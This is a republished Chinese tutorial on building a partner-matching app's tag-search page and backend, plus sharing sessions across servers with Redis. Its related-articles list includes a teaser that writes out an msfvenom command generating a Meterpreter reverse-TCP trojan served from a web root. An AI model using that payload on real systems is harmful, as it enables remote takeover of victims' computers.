心链4---搜索页面前后端业务实现以及分布式session的共享实现

news2024/11/18 9:43:03

心链 — 伙伴匹配系统

搜索详情页面

之前前端的代码写到了搜索页面可以挑选搜索标签，并没有去根据具体标签搜索用户。这里就开始实现。
新建SearchResultPage.vue，并添加相关路由。

image.png
image.png
在搜索页添加搜索按钮，和触发点击。搜索页选择标签，点击搜索。

  <div style="padding: 16px">
    <van-button block type="primary" @click="doSearchResult">搜索</van-button>
  </div>

import {useRouter} from 'vue-router';
const router = useRouter();

const doSearchResult = () => {
  router.push({
    path: '/user/list',
    query: {
      tags: activeIds.value
    }
  })
}

image.png
修改SearchResultPage.vue页面相关信息。
在idea中添加个人简介字段；注意前端也要修改添加。
image.pngimage.png


<template>
  <van-card
      v-for="user in userList"
      :desc="user.profile"
      :title="`${user.username} (${user.planetCode})`"
      :thumb="user.avatarUrl"
  >
    <template #tags>
      <van-tag plain type="danger" v-for="tag in tags" style="margin-right: 8px; margin-top: 8px" >
        {{tag}}
      </van-tag>
    </template>
    <template #footer>
      <van-button size="mini">联系我</van-button>
    </template>
  </van-card>
</template>

<script setup >
import {ref} from "vue";
import {useRoute} from "vue-router";

const route = useRoute();
const {tags} = route.query;

const mockUser = ref({
  id: 931,
  username: '阿尼亚',
  userAccount: 'aniya',
  profile: '间谍过家家，我哭我哭我哭我哭我哭',
  gender: 0,
  phone: '123456789101',
  email: 'isdafhiusahf@qq.com',
  planetCode: '1273',
  avatarUrl: 'https://raw.githubusercontent.com/RockIvy/images/master/img/avatar42.jpg',
  tags: ['java', 'emo', '打工中', 'emo', '打工中'],
  createTime: new Date(),
})

const userList = ref({mockUser});

</script>

<style scoped>

</style>

image.png

题外话：banner.txt

Ascii艺术字实现个性化Spring Boot启动banner图案，轻松修改更换banner.txt文件内容，收集了丰富的banner艺术字和图，并且支持中文banner下载，让你的banner好玩儿更有意思。
image.png

后端搜索接口

/**
     * 根据标签搜索用户
     * @param tagList 用户拥有的标签
     * @return
     */
    @GetMapping("/search/tags")
    public BaseResponse<List<User>> searchUsersByTags(@RequestParam(required = false) List<String> tagList){
        if (CollectionUtils.isEmpty(tagList)) {
            throw new BusinessException(ErrorCode.PARAMS_ERROR);
        }
        List<User> userList = userService.searchUsersByTags(tagList);
        return ResultUtils.success(userList);

    }

image.png

前后端联调

axios中文网|axios API 中文文档
跟着官方文档走

使用 npm:
 npm install axios
     
使用 bower:
 bower install axios

使用 yarn
    yarn add axios
    
使用 cdn:

<script src="https://unpkg.com/axios/dist/axios.min.js"></script>

新建plugins文件夹，新建myAxios.js文件。
image.png

// Set config defaults when creating the instance
//自定义实例默认值
import axios from "axios";

const myAxios = axios.create({
    baseURL: 'http://localhost:8080/api'
});

//拦截器
// 添加请求拦截器
myAxios.interceptors.request.use(function (config) {
    // 在发送请求之前做些什么
    console.log("请求发送了",config)
    return config;
}, function (error) {
    // 对请求错误做些什么
    return Promise.reject(error);
});

// 添加响应拦截器
myAxios.interceptors.response.use(function (response) {
    // 对响应数据做点什么
    console.log("请求收到了了",response)
    return response;
}, function (error) {
    // 对响应错误做点什么
    return Promise.reject(error);
});

export default myAxios;

然后是用户根据标签搜素，要去调用后端的数据。就需要axios接受和发送请求。
（http://www.axios-js.com/zh-cn/docs/#案例）
在searchResultPage.vue页面添加axios。并测试访问，会报错，因为跨域了。
访问了这个路径 console.log(‘/user/search/tags error’,error);
Toast.fail(‘请求失败’);

image.png
后端允许一下，前端端口访问。修改usercontroller。在运行访问一下。（前后端都要启动）
image.png
虽然请求还是失败，但请求地址改变了。下面是下面是参数序列化。（这边应该是后端相应的问题。）
image.png
主要的问题是，参数传递的问题。前端传入的是string类型，后端要的是数组类型。（也就是上面我们测试遇到的问题。）
image.png

<template>
  <van-card
    v-for="user in userList"
    :desc="user.profile"
    :title="`${user.username} (${user.planetCode})`"
    :thumb="user.avatarUrl"
    >
    <template #tags>
      <van-tag plain type="danger" v-for="tag in tags" style="margin-right: 8px; margin-top: 8px" >
        {{tag}}
      </van-tag>
    </template>
<template #footer>
  <van-button size="mini">联系我</van-button>
</template>
             </van-card>
  <van-empty v-if="!userList || userList.length < 1" description="搜索结果为空" />
</template>

  <script setup >
  import {onMounted, ref} from "vue";
  import {useRoute} from "vue-router";
  import {Toast} from "vant";

  import myAxios from "../plugins/myAxios.js";

  import qs from 'qs'

  const route = useRoute();
  const {tags} = route.query;

  const mockUser = ref({
  id: 931,
  username: '沙鱼',
  userAccount: 'shayu',
  profile: '一条咸鱼',
  gender: 0,
  phone: '123456789101',
  email: 'shayu-yusha@qq.com',
  planetCode: '931',
  avatarUrl: 'https://xingqiu-tuchuang-1256524210.cos.ap-shanghai.myqcloud.com/shayu931/shayu.png',
  tags: ['java', 'emo', '打工中', 'emo', '打工中'],
  createTime: new Date(),
  })

  const userList = ref([]);


  onMounted( async () =>{
  // 为给定 ID 的 user 创建请求
  const userListData = await  myAxios.get('/user/search/tags',{
  withCredentials: false,
  params: {
  tagNameList: tags
  },
  //用鱼皮的这个我的头像不会显示。
  // paramsSerializer: params =>{
  //   return qs.stringify(params,{indices: false})
  // }

  //序列化
  paramsSerializer: {
  serialize: params => qs.stringify(params, { indices: false}),
  }
  })
  .then(function (response) {
  console.log('/user/search/tags succeed',response);
  Toast.success('请求成功');
  return response.data?.data;
  })
  .catch(function (error) {
  console.log('/user/search/tags error',error);
  Toast.fail('请求失败');
  });
  if (userListData){
  userListData.forEach(user =>{
  if (user.tags){
  user.tags = JSON.parse(user.tags);
  }
  })
  userList.value = userListData;
  }
  })



</script>

<style scoped>

</style>

image.png

分布式session

:::danger
种 session 的时候注意范围，cookie.domain
比如两个域名：
aaa.yupi.com
bbb.yupi.com
如果要共享 cookie，可以种一个更高层的公共域名，比如 yupi.com
为什么服务器 A 登录后，请求发到服务器 B，不认识该用户？
用户在 A 登录，所以 session（用户登录信息）存在了 A 上
结果请求 B 时，B 没有用户信息，所以不认识。
:::

:::danger
解决方案：共享存储 ，而不是把数据放到单台服务器的内存中
:::

Session 共享实现Redis

:::warning
如何共享存储？

  1. Redis（基于内存的 K / V 数据库）此处选择 Redis，因为用户信息读取 / 是否登录的判断极其频繁 ，Redis 基于内存，读写性能很高，简单的数据单机 qps

5w - 10w

  1. MySQL
  2. 文件服务器 ceph
    官网：https://redis.io/

windows 下载：
Redis 5.0.14 下载：
链接：https://pan.baidu.com/s/1XcsAIrdeesQAyQU2lE3cOg
提取码：vkoi
redis 管理工具 quick redis：https://quick123.net/

  1. 引入 redis，能够操作 redis：
    :::
  <!-- redis -->
        <!-- https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-data-redis -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-redis</artifactId>
            <version>2.6.4</version>
        </dependency>
  1. 引入 spring-session 和 redis 的整合，使得自动将 session 存储到 redis 中：
 <!-- session-data-redis -->
        <!-- https://mvnrepository.com/artifact/org.springframework.session/spring-session-data-redis -->
        <dependency>
            <groupId>org.springframework.session</groupId>
            <artifactId>spring-session-data-redis</artifactId>
            <version>2.6.3</version>
        </dependency>
  1. 修改 spring-session 存储配置 spring.session.store-type
    默认是 none，表示存储在单台服务器
    store-type: redis，表示从 redis 读写 session
  2. image.png

打包并分开运行。
image.png
image.png

再去他们对应的swagger-ui接口测试。
在8080端口登录了，可以在8081端口获取到用户信息。

image.png
image.png
image.png

JWT 的优缺点：https://zhuanlan.zhihu.com/p/108999941

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1710662.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

ubuntu server 24.04 (Linux) 源码编译安装 OpenResty 1.25.3.1 Released

ubuntu server 24.04 (Linux) 源码编译安装 OpenResty 1.25.3.1 Released

1 下载: OpenResty - 开源官方站 2 通过xftp等方式上传到ubuntu服务器 3 安装 #解压 tar zxvf openresty-1.25.3.1.tar.gz #创建运行用户 sudo groupadd www sudo useradd -g www www -s /bin/false #安装依赖软件 sudo apt update sudo apt-get install libpcre3-dev l…
阅读更多...
数据分析之统计学基础

数据分析之统计学基础

数据分析是现代企业和科研中不可或缺的一部分&#xff0c;而统计学是数据分析的基石。在本篇博客中&#xff0c;我们将介绍统计学的基础知识&#xff0c;涵盖数据类型、描述性统计&#xff08;集中趋势、离散程度和偏差程度&#xff09;&#xff0c;并通过代码实例加以说明。 …
阅读更多...
释放 OSINT 的力量：在线调查综合指南

释放 OSINT 的力量：在线调查综合指南

开源情报 (OSINT) 是从公开信息中提取有价值见解的艺术。无论您是网络安全专业人士、道德黑客还是情报分析师&#xff0c;OSINT 都能为您提供先进的技术&#xff0c;帮助您筛选海量的数字数据&#xff0c;发现隐藏的真相。 在本文中&#xff0c;我们将深入研究大量的OSINT 资源…
阅读更多...
Vue进阶之Vue项目实战（四）

Vue进阶之Vue项目实战（四）

Vue项目实战 出码功能知识介绍渲染器性能调优使用 vue devtools 进行分析使用“渲染”进行分析判断打包构建的产物是否符合预期安装插件使用位置使用过程使用lighthouse分析页面加载情况使用performance分析页面加载情况应用自动化部署与发布CI/CD常见的CI/CD服务出码功能 出码…
阅读更多...
AI赋能数字人：打造与语音节奏完美匹配的高质量手势动画

AI赋能数字人：打造与语音节奏完美匹配的高质量手势动画

在数字化时代，人机交互正以前所未有的速度进化，而AI数字人的发展正是这一进程中的重要里程碑。近期，一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注，该技术不仅增强了数字人的表现力，也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…
阅读更多...
【ArcGIS For JS】前端geojson渲染行政区划图层并加标签

【ArcGIS For JS】前端geojson渲染行政区划图层并加标签

原理 通过DataV工具 生成行政区的geojson&#xff08;得到各区的面元素数据&#xff09;, 随后使用手动绘制featureLayer与Label&#xff0c;并加载到地图。 //vue3加载geojson数据public/geojson/pt.json,在MapView渲染上加载geojson数据 type是"MultiPolygon"fetc…
阅读更多...
Web渗透-MySql-Sql注入：联合查询注入

Web渗透-MySql-Sql注入：联合查询注入

SQL注入&#xff08;SQL Injection&#xff09;是一种网络攻击技术&#xff0c;攻击者通过将恶意的SQL代码插入到应用程序的输入字段&#xff0c;从而欺骗应用程序执行未经授权的操作。这种攻击方式可以导致严重的安全问题&#xff0c;包括&#xff1a; 数据泄露&#xff1a;攻…
阅读更多...
【MATLAB源码-第216期】基于matlab的北方苍鹰优化算法(NGO)机器人栅格路径规划，输出做短路径图和适应度曲线。

【MATLAB源码-第216期】基于matlab的北方苍鹰优化算法(NGO)机器人栅格路径规划，输出做短路径图和适应度曲线。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 北方苍鹰优化算法&#xff08;Northern Goshawk Optimization&#xff0c;简称NGO&#xff09;是一种新兴的智能优化算法&#xff0c;灵感来源于北方苍鹰的捕猎行为。北方苍鹰是一种敏捷且高效的猛禽&#xff0c;广泛分布于北…
阅读更多...
qrcode和qrcodejs2生成二维码+刷新

qrcode和qrcodejs2生成二维码+刷新

1、使用qrcode生产二维码&#xff0c;封装组件 创建Qrcode.vue文件 <template><divclass"QRCode":style"{ width: width, height: height }"><canvas:id"canvasId"ref"canvas":style"{ width: width, height: …
阅读更多...
上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海&#xff0c;这座融合了东西方文化的国际化大都市&#xff0c;不仅是中国的时尚中心&#xff0c;也是全球潮流的汇聚地。在这里&#xff0c;古典与现代交织&#xff0c;传统与前卫并存&#xff0c;为传统色彩与现代设计的融合提供了得天独厚的条件。 5月25日&#xff0c;上…
阅读更多...
分频器对相位噪声影响

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…
阅读更多...
简单3步，ERP、OA、CRM等客户端，安全远程访问服务端

简单3步，ERP、OA、CRM等客户端，安全远程访问服务端

如今&#xff0c;企业员工出差远程办公和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的C/S&#xff08;Client/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…
阅读更多...
Elasticsearch8.13.4版本的Docker启动关闭HTTPS

Elasticsearch8.13.4版本的Docker启动关闭HTTPS

博主环境是&#xff1a; 开发环境&#xff1a;SpringbootElasticSearch客户端对应的starter 2.6.3版本 maven配置 <!-- ElasticSearch --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elas…
阅读更多...
二叉树习题精讲-相同的树

二叉树习题精讲-相同的树

相同的树 100. 相同的树 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/same-tree/description/ /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool i…
阅读更多...
MFC 发起 HTTP Post 请求 发送MES消息

MFC 发起 HTTP Post 请求 发送MES消息

文章目录 获取Token将获取的Token写入JSON文件 将测试参数发送到http首先将测试参数写入到TestData.JSON文件rapidjson 库需要将CString 进行类型转换才能使用&#xff0c;将CString 转换为const char* 发送JSON 参数到http中&#xff0c;并且获取返回结果写入TestFinish.JSON文…
阅读更多...
msfconsole攻击win10及简陋版

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…
阅读更多...
效率工作：一键为多种资产添加统一材质（小插件）

效率工作：一键为多种资产添加统一材质（小插件）

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…
阅读更多...
【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录 一、问题描述 二、解题思路 方法一:计数器方式 方法…
阅读更多...
计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

流程&#xff1a; 1.Python爬虫采集物流数据等存入mysql和.csv文件&#xff1b; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs&#xff1b; 3.使用hive数据仓库完成建库建表导入.csv数据集&#xff1b; 4.使用hive之hive_sql进行离线计算&…
阅读更多...
（四十八）第 7 章 图（图的数组(邻接矩阵)存储）

（四十八）第 7 章 图（图的数组(邻接矩阵)存储）

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023